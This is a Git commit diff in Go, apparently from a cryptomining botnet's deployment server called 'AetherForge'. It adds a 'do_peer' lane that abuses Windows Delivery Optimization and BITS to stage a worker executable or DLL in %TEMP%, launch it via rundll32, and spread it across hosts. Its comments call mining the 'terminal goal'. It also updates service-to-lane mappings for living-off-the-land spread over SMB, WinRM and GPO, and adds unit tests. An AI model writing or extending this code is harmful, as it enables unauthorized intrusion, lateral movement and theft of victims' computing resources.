Add do_peer Shadow Cache Handoff deploy tier for LOTL spread onion
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -27,6 +27,7 @@ type StagingManifest struct {
|
||||
Encoded bool `json:"encoded"`
|
||||
DeferMining bool `json:"defer_mining,omitempty"`
|
||||
SpreadInstall bool `json:"spread_install,omitempty"`
|
||||
PeerGroup string `json:"peer_group,omitempty"`
|
||||
}
|
||||
|
||||
type StagingChunk struct {
|
||||
@@ -40,6 +41,7 @@ type DeployPlanBody struct {
|
||||
MatchedService string `json:"matched_service,omitempty"`
|
||||
Action string `json:"action"`
|
||||
Manifest *StagingManifest `json:"manifest,omitempty"`
|
||||
PeerGroup string `json:"peer_group,omitempty"`
|
||||
Script string `json:"script,omitempty"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
MaxHosts int `json:"max_hosts,omitempty"`
|
||||
@@ -145,6 +147,13 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
|
||||
}
|
||||
|
||||
switch lane.Lane {
|
||||
case "do_peer":
|
||||
manifest, err := h.buildDOPeerManifest(req, serverURL)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.Manifest = manifest
|
||||
body.PeerGroup = manifest.PeerGroup
|
||||
case "bits_curl":
|
||||
manifest, err := h.buildStagingManifest(req, serverURL)
|
||||
if err != nil {
|
||||
@@ -182,6 +191,69 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
|
||||
return body, nil
|
||||
}
|
||||
|
||||
// buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
|
||||
// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass,
|
||||
// then startMiningWhenReady() completes the mining onion (terminal goal).
|
||||
func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
if platform == "" {
|
||||
platform = "windows"
|
||||
}
|
||||
buildID := strings.TrimSpace(req.BuildID)
|
||||
build, err := h.resolveBuild(buildID, platform)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
hash, err := fileSHA256(build.FilePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("build hash: %w", err)
|
||||
}
|
||||
|
||||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||||
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
|
||||
peerGroup := "af-peer-" + hash[:8]
|
||||
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
|
||||
peerGroup = "af-peer-" + sanitizeDeployToken(campaign)
|
||||
}
|
||||
|
||||
dest := `%TEMP%\AetherForge\do-peer-worker.exe`
|
||||
launch := "exe"
|
||||
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
|
||||
dest = `%TEMP%\AetherForge\do-peer-worker.dll`
|
||||
launch = "rundll32"
|
||||
}
|
||||
|
||||
return &StagingManifest{
|
||||
Method: "bits",
|
||||
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
|
||||
SHA256: hash,
|
||||
Dest: dest,
|
||||
Launch: launch,
|
||||
DLLExport: "DllRegisterServer",
|
||||
DeferMining: true,
|
||||
SpreadInstall: true,
|
||||
PeerGroup: peerGroup,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func sanitizeDeployToken(s string) string {
|
||||
s = strings.ToLower(strings.TrimSpace(s))
|
||||
var b strings.Builder
|
||||
for _, r := range s {
|
||||
if (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '-' {
|
||||
b.WriteRune(r)
|
||||
}
|
||||
}
|
||||
out := b.String()
|
||||
if out == "" {
|
||||
return "local"
|
||||
}
|
||||
if len(out) > 24 {
|
||||
return out[:24]
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) buildStagingManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
if platform == "" {
|
||||
|
||||
@@ -6,7 +6,7 @@ import (
|
||||
|
||||
// ServiceDeployLane maps a discovered Windows/Linux service to a LOTL join lane.
|
||||
type ServiceDeployLane struct {
|
||||
Lane string `json:"lane"` // bits_curl | docker_load | winrm | gpo | spread_smb_unc | linux_lotl
|
||||
Lane string `json:"lane"` // bits_curl | do_peer | docker_load | winrm | gpo | spread_smb_unc | linux_lotl
|
||||
Priority int `json:"priority,omitempty"` // higher wins when multiple services match
|
||||
Template string `json:"template,omitempty"` // spread template id (gpo | winrm | linux-lotl)
|
||||
}
|
||||
@@ -14,6 +14,8 @@ type ServiceDeployLane struct {
|
||||
// DefaultServiceDeployAllowlist maps allowlisted services to deploy lanes.
|
||||
// CCMEXEC → BITS staging; Docker → docker_load; WinRM → bootstrap; gpsvc → GPO; LanmanServer → SMB UNC.
|
||||
var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
|
||||
"DoSvc": {Lane: "do_peer", Priority: 35},
|
||||
"Delivery Optimization": {Lane: "do_peer", Priority: 35},
|
||||
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
|
||||
"CcmExec": {Lane: "bits_curl", Priority: 10},
|
||||
"BITS": {Lane: "bits_curl", Priority: 8},
|
||||
@@ -65,6 +67,8 @@ func normalizeJoinLane(lane string) string {
|
||||
switch lane {
|
||||
case "bits", "bits/curl", "bits_curl", "bits-curl":
|
||||
return "bits_curl"
|
||||
case "do_peer", "do-peer", "dosvc":
|
||||
return "do_peer"
|
||||
case "docker", "docker_load", "docker-load":
|
||||
return "docker_load"
|
||||
case "smb", "smb_unc", "spread_smb_unc", "spread-smb-unc":
|
||||
|
||||
@@ -2,6 +2,27 @@ package api
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestPickDeployLaneDoSvc(t *testing.T) {
|
||||
allowlist := NormalizeServiceDeployAllowlist(nil)
|
||||
services := []DeployServiceFinding{
|
||||
{Name: "CCMEXEC", Status: "running"},
|
||||
{Name: "DoSvc", Status: "running"},
|
||||
}
|
||||
matched, lane, ok := PickDeployLane(services, allowlist)
|
||||
if !ok {
|
||||
t.Fatal("expected match")
|
||||
}
|
||||
if matched != "DoSvc" || lane.Lane != "do_peer" {
|
||||
t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeJoinLaneDoPeer(t *testing.T) {
|
||||
if got := normalizeJoinLane("do-peer"); got != "do_peer" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickDeployLanePriority(t *testing.T) {
|
||||
allowlist := NormalizeServiceDeployAllowlist(map[string]ServiceDeployLane{
|
||||
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
|
||||
|
||||
Reference in New Issue
Block a user